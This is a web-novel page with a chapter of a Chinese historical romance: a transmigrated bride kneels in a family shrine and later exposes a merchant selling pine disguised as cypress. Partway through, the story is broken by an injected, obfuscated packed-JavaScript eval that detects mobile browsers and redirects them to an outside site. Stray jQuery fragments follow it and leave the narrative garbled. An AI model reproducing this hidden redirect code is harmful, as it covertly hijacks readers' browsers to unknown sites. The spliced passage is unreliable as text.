默认冷灰
24号文字
方正启体

9. 同罚

作者:星临云本书字数:K更新时间:
    穆岚风瞥了眼仰躺在地上,阖着眼的人,没好气地怒嘴道:“我怎么喝不得?难道是给她准备的?”


    按照将军平日里惜字如金,雷厉风行的作风,穆岚风猜他就算有心,也顶多回一个“嗯”或者一个眼神。


    可穆随双手捧着碗,生怕洒了漏了似的放回食盒最底层,盖子盖好,小声道:“她今日落水又逢月事,自然身子不适。她既已为你嫂嫂,你理应多关照。”


    听哥哥这会儿还帮睡得雷打不动,毫无形象可言的人说话,穆岚风心里更委屈了,手捏着玫瑰乳酥糕,撇嘴道:“凭什么要我关照她,明明她让着我才对。”


    “你们二人处处计较刁难,关系不和,只会让外人看穆家笑话。今日宴会尚且我在场,你们二人侥幸身体无恙。倘若我不在......”


    穆随短叹口气,重新道:“军中事务繁多,我疏于对你的教导已被祖母责罚。你既已长大成人,许多道理不必我多费口舌。许家公子虽与你订婚,但我看他对这桩婚事却未有你一半上心。”


    最后一句话虽不好听,但是事实。


    武官巨擘的妹妹偏偏看上吏部尚书庶子,许修远。


    一次乞巧节,穆岚风偶遇许修远,对其一见倾心,当晚回家就对穆随旁敲侧击。


    穆随疑心其中有诈,派人暗中调查许修远。调查许久都未发现异端,又架不住成天在身边穆岚风软磨硬泡,他才向皇上请旨。


    但也正因为许修远为妾室所生,前有三个早已走上仕途的哥哥,自出生就不被看好,无法形成个人势力,皇帝才应允两家通婚。


    可许修远对穆岚风从来都是普通公子小姐的态度,举手投足间满是客气。偏穆岚风说他温文儒雅,举止得体正合她意。


    穆岚风讨厌连自家人都对她的婚事泼冷水,鼓着腮帮子把熟睡的人摇醒,试图转变穆随说教的对象。


    叶星澜睡得正香,被人强行开机,脑子昏昏沉沉刚要发脾气,可看见面前精致小巧的糕点又熄灭了不少火气。


    她撑着手肘从地上坐起,抢在最后一块糕点被穆岚风吃掉前伸手拿住,又一次先发制人道:“吃独食,可耻。”


    穆岚风光瞪着她,不说话,叶星澜以为她是服理认输,把整块糕点也送进嘴里。


    嚼到一半才发现“疯木兰”并非认输,只是这点心徒有其表,又甜又噎,嚼碎的糕点糊住喉咙,根本说不了话。


    叶星澜五官都用力起来,忽然手边多了一只碗,扣住碗沿的手指修长而有力。


    来不及多想,她接过碗,咕噜咕噜几口就下肚,剩了半碗又递给同样缄口不语的穆岚风。


    喉管变得通畅清爽,叶星澜斜眼一看才发现给自己端水的人是穆随。穆随换了身衣服,双膝跪在蒲团之上,两掌贴着大腿。


    她用手背擦了下嘴角,“谢谢啊。”


    穆随没回应,一尊佛似的,目光幽幽望向牌位。


    穆岚风倒意外叶星澜会分享食物,放下空碗的时候道:“一码归一码,别以为给我一口水喝就代表我喜欢你。”


    睡了一觉的叶星澜精神抖擞:“我发现你这人是真没礼貌。难道小时候你爹娘没教过你吗?还是说,你们将军府也请不起教养嬷嬷。”


    她把与穆随初见的话还给穆岚风,穆岚风被她一说也开始火大,似是准备破口大骂,可穆随扭头一个眼神,穆岚风又如霜打的茄子似的蔫了。


    “岚风六岁时边境暴乱,我送母亲在回京的路上遭匈奴埋伏,我一人难敌百人......”穆随的眼底隐约划过一丝寂寥悲怆之色,“我与父亲长年驻守边境,祖母又年迈,岚风只好交予叔母管教。叔母无子,对她多有溺爱。”


    原来是从小就没有娘疼的孩子。叶星澜抿住嘴,对旁边跪在蒲团上捏着衣角,眼尾泛起红晕的女孩诚心道:“刚才的事我给你道歉,对不起啊。”


    穆岚风将头埋得极低,抽泣道:“谁要你的道歉。”


    叶星澜发现其实“疯木兰”本性并不坏,只是娇生惯养才会倨傲骄纵。不过也对,她又不是普通的王公贵族,威震四方的镇北大将军的妹妹,将军府年纪最小的孩子。换作是别人,兴许比她的脾气还差。


    叶星澜盘腿坐在蒲团上,聊天似的轻松道:“我来了这么久,怎么没看见你爹,难道你爹一个人驻守边疆成全你回来成亲?”


    穆岚风用力吸了下鼻子,接话:“父亲两年前战死......不然哥哥怎么会继承父亲的衣钵成为镇北大将军,蠢货。”


    怎么问一个就死一个,叶星澜抬手打了下自己的嘴,完全没注意到穆随盯着自己的目光满是犹疑和警惕。


    穆岚风仰头看着被烛光照亮,沉默的牌位,眼里闪着泪光:“爹娘,我好想你们。”


    话落,叶星澜也撇下嘴角,嘟哝道:“我也好想我妈,我也好想回家......”


    随着两人你一句我一句的自言自语,整个祠堂瞬间被呜呜咽咽的哭声填满。


    而脊梁骨挺直的穆随一言不发,红色的烛光亦未能照进深不见底的眼眸。


    叶星澜再睁开眼皮的时候,发现穆岚风也和自己一样把蒲团当作枕头,呼呼大睡。隐约听见门外传来脚步声,她大力把穆岚风从地上拽起,急切道:“有人来了。”


    穆岚风也立刻调转膝盖,端正跪在蒲团之上,两只手整理着头发。


    脚步声停在身后,叶星澜回头,果真和她猜想的一样,是祖母身边的嬷嬷,嬷嬷说:“老夫人已在膳堂等候大家用饭。”


    罚了戒尺还罚了跪,现在又派人来请吃饭,看来穆家人惯用的手段是打个巴掌再给个枣。


    实实在在跪了一晚的穆随起身时连腿都不打颤,点头对二人说:“别让祖母等。”


    幸好这顿早餐没人再提昨日之事,大家都安静本分地进食。


    等祖母放下筷子离席,穆随称自己有公务而离开,叶星澜见状赶忙起身奔向自己的院子。


    阿宁追在她身后跑:“可有急事?”


    叶星澜边跑边说:“一块棉布用了十几个小时,妇科病就是这么来的。阿宁,你赶紧再帮我拿一块新的。”


    待重新换好棉布后,叶星澜觉得只用棉布不是个事,容易滋生细菌不说,也不吸收。


    经期第二天,虽然在祠堂的硬地板上睡了一晚,但身体还算爽利,她上午补过一觉后,又带着三五人去逛街市。


    阿宁说:“你要棉花吩咐一声便是,何必亲自出门。”


    叶星澜摆摆手,“老待在家里闷得慌,出来呼吸呼吸新鲜空气。”


    没电视没手机。阿宁又是个停不下来,眼里全是活的人。没人聊天说笑,待在将军府就像坐牢一样,叶星澜实在坐不住。


    买了棉花,买话本,买首饰,买各种各样稀奇的玩意,反正晏微的爹娘备了许多真金白银给她用,叶星澜也不客气,替人结婚,可不能让这赔偿金落灰。


    除了给自己置办东西,叶星澜还在布庄给同行的人都量身定做起衣服。尽管大家嘴上说受不起,可只要叶星澜扯着一块好布问他们喜欢不喜欢,大家又都忍不住点头。


    一行人高高兴兴从布庄出来,没走几步就瞧见前面人群成堆,热闹极了。


    以为是有什么街头杂耍,叶星澜拉着阿宁挤到人群前,发现不是杂耍,本来还有些失望,可转身时又听见争执不下的两位中年男人提到的正是她的爱好,眼睛一下就亮了起来。


    “那根柱子两个月前才装好的,都没撑多少时日又塌了!是你说有任何问题都可以来寻你的,现在不认算怎么回事!”穿着还算得体的男人满脸愤怒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423304|184822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    另一位穿金戴银的男人手指木作店门口的牌子,目光满是鄙夷神色:“我可写得清清楚楚,凡购本店之物,一月内若有瑕疵,可来寻绎。逾此期,恕不料理。亏你还是个读书人。况且你都买两个多月了,我凭什么要为你换新的梁柱。”


    “我一年的银钱全用来买这根柏木,可这柏木不足三月就垮了。你这木作店净赚黑心钱!”


    “柏木再硬也不是金刚,前些日子风雨交加大家有目共睹,你家其他梁柱本就劣质,怎的屋檐垮了就赖在这根柏木上。”


    “就是我从你店里买的这根先裂开,我家檐顶才会跟着垮。”


    “你再敢无凭无据乱我店生意,信不信我找人将你打出去。”


    男人和木作店的店主各执一词,叶星澜听得津津有味,直到男人将四分五裂的木头大力扔到木作店门前,叶星澜更来兴致了。


    她不顾阿宁的劝阻,执意走到店门口,蹲在地上拿起木块,左闻右闻,终于在男人准备作罢时发现了异端。


    她拿了一个椭圆木块起身,向店主发问:“为何你这柏木的木香味只外层有,内截面没闻不见半点?”


    店主捻住下巴的胡须,目光躲闪道:“这碎木经雨水浸泡,没了香味实属正常。”


    叶星澜看出店老板在说话,为了避免被人反将一军,她把其余的碎木发给众人,装作无知道:“可我怎么闻这碎柏木的横截面都是松脂味。”


    店主一下就恼了,大声反问:“柏木怎么会有松脂味?”


    “柏木当然不会有松脂味。”叶星澜眉毛一挑,掂量着木块,缓缓道:“因为这是松木。”


    店主的两只圆眼瞪得更圆了,上前搡了一把叶星澜,气道:“你休要在这里胡说八道!”


    叶星澜脚步踉跄两步才站稳,阿宁跑到她身后,拉着她的手怯怯道:“诶呀,此事你可千万不能插手,咱们还是回府吧。”


    叶星澜按住阿宁的手,一点也不畏惧,“怎么说这也是我的老本行,几根木头还是分得清清楚楚。”


    叶星澜往前一步,更加大声道:“这就是松木。虽然白松木和柏木的纹理直且均匀,但白松的质地远不及柏木坚硬沉重。你用浅色的松木块黏合在一起,又在外层涂了和柏木最接近的香料,外人当然难区分。还有,若不是这柏木碎的也太规整,形状都大差不差。”


    主张售后的男人见叶星澜说得头头是道,分外激动:“姑娘此言当真?”


    “我若有半句虚言,叫我天打雷劈,不得好死。”


    话落,围观的百姓也纷纷附和,说这木头确实拿在手里过分轻,不似柏木结实。


    “分明就是你为了赚钱,以次充好。”对自己很满意的叶星澜又补充一句,店主气得手指发抖,“你无凭无据,再要信口雌黄,信不信我找伙计将你们二人一起打出去。”


    店主一声令下,便有两三人拿着锯子锄头从店内走出,将男人和叶星澜围住。


    店里的伙计们个个都是凶神恶煞的肌肉男,叶星澜刚开始还心里犯怵,可想到自己并非无名无势,双手叉腰抬起下巴,大声道:“你有几个胆子敢对我动手。”


    “姑娘真是好大的口气——”


    叶星澜不给人说完的机会,抢道:“我父亲乃当朝盐铁使。我今天要是掉了半根头发,我都让你屁滚尿流。”


    人果然有了点权力就容易耀武扬威。叶星澜此时更加理解穆岚风了,甚至还有点穆岚风嚣张跋扈的姿态。


    可店主明摆着不信,挺着肚子吹嘘道:“就算你搬出小小盐铁使,我今天定不会轻饶你,我背后之人可是——”


    “难道你背后之人比镇北大将军还要位高权重?”


    身后响起一道和煦如春风般的声音,而店主立刻双膝跪地,面露惊诧。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)